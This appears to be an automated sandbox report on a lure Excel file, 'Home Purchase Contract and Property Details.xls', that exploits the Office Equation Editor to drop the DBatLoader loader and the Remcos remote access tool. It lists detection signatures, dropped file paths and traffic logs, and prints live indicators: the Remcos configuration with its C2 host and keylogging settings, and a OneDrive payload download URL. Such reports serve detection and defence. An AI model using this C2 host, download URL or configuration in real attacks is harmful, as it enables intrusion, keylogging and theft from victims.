Windows Analysis Report
Home Purchase Contract and Property Details.xls

Overview

General Information

Sample name: Home Purchase Contract and Property Details.xls
Analysis ID: 1446719
MD5: d9d5c1fa0851c35ace66d98089584cbe
SHA1: 9fe664c1645be3bb5bd9b3f1292993f247600155
SHA256: 777fe31b0202e8e5cf13a9d1d9dea155bfd6e569392714d1e8f61d20048e70ba
Tags: xls
Infos:

Detection

Remcos, DBatLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for dropped file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected DBatLoader
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to detect sleep reduction / modifications
Contains functionality to register a low level keyboard hook
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Drops PE files with a suspicious file extension
Drops PE files with benign system names
Excel sheet contains many unusual embedded objects
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Installs a global keyboard hook
Installs new ROOT certificates
Microsoft Office drops suspicious files
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Equation Editor Network Connection
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious Process Parents
Sigma detected: System File Execution Location Anomaly
Uses dynamic DNS services
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate running services
Contains functionality to launch a process as a different user
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check if the current machine is a sandbox (GetTickCount - Sleep)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Excel Network Connections
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Suspicious Office Outbound Connections
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
 https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
Name Description Attribution Blogpost URLs Link
DBatLoader This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://geoplugin.net/json.gp URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp/C URL Reputation: Label: phishing
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\lionsaretotalcontrollingtherulsofthejungletounderstandlionsarekindofjungletogetmebackonfiretogetittrueexperienc__ofhtejunglelions[1].doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{618DEECE-5CD1-42E4-A158-87A2956FA503}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\398EA60A.doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Found malware configuration
Source: 0000000B.00000002.463489236.00000000006B2000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": "wwsaer.duckdns.org:8533:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-9VASLD", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source: 8.0.csrss.exe.400000.0.unpack Malware Configuration Extractor: DBatLoader {"Download Url": ["https://onedrive.live.com/download?resid=77E389B66C951B09%21132&authkey=!AD_QXcfalkvUogo"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Roaming\csrss.exe ReversingLabs: Detection: 21%
Source: C:\Users\Public\Libraries\Efftwcmk.PIF ReversingLabs: Detection: 21%
Yara detected Remcos RAT
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.463489236.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.479146346.00000000009F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: csrss.exe PID: 3832, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 920, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\notes\logs.dat, type: DROPPED
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D73837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 8_2_33D73837
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D253837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 11_2_2D253837
Source: csrss.exe, 00000008.00000002.1012207860.0000000033DAB000.00000040.00000800.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_126a8c25-0

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: unknown Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\csrss.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{618DEECE-5CD1-42E4-A158-87A2956FA503}.tmp.4.dr Stream path '_1777979214/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{618DEECE-5CD1-42E4-A158-87A2956FA503}.tmp.4.dr Stream path '_1777979220/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{618DEECE-5CD1-42E4-A158-87A2956FA503}.tmp.4.dr Stream path '_1777979241/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{618DEECE-5CD1-42E4-A158-87A2956FA503}.tmp.4.dr Stream path '_1777979242/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{618DEECE-5CD1-42E4-A158-87A2956FA503}.tmp.4.dr Stream path '_1777979244/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdb source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdbH source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D8E879 FindFirstFileExA, 8_2_33D8E879
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 8_2_33D4C34D
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 8_2_33D4BB30
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D59AF5 FindFirstFileW, 8_2_33D59AF5
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 8_2_33D5C291
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4880C FindFirstFileW,FindNextFileW,FindClose, 8_2_33D4880C
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4783C FindFirstFileW,FindNextFileW, 8_2_33D4783C
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D49665 FindFirstFileW,FindNextFileW,FindClose,FindClose, 8_2_33D49665
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 8_2_33D4BD37
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C758B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 11_2_02C758B4

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: qr-in.com
Source: global traffic DNS query: name: qr-in.com
Source: global traffic DNS query: name: qr-in.com
Source: global traffic DNS query: name: qr-in.com
Source: global traffic DNS query: name: qr-in.com
Source: global traffic DNS query: name: qr-in.com
Source: global traffic DNS query: name: onedrive.live.com
Source: global traffic DNS query: name: onedrive.live.com
Source: global traffic DNS query: name: onedrive.live.com
Source: global traffic DNS query: name: f3rtrw.bl.files.1drv.com
Source: global traffic DNS query: name: f3rtrw.bl.files.1drv.com
Source: global traffic DNS query: name: wwsaer.duckdns.org
Source: global traffic DNS query: name: geoplugin.net
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 178.237.33.50:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 150.171.41.11:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 150.171.41.11:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 150.171.41.11:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 150.171.41.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 13.107.137.11:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
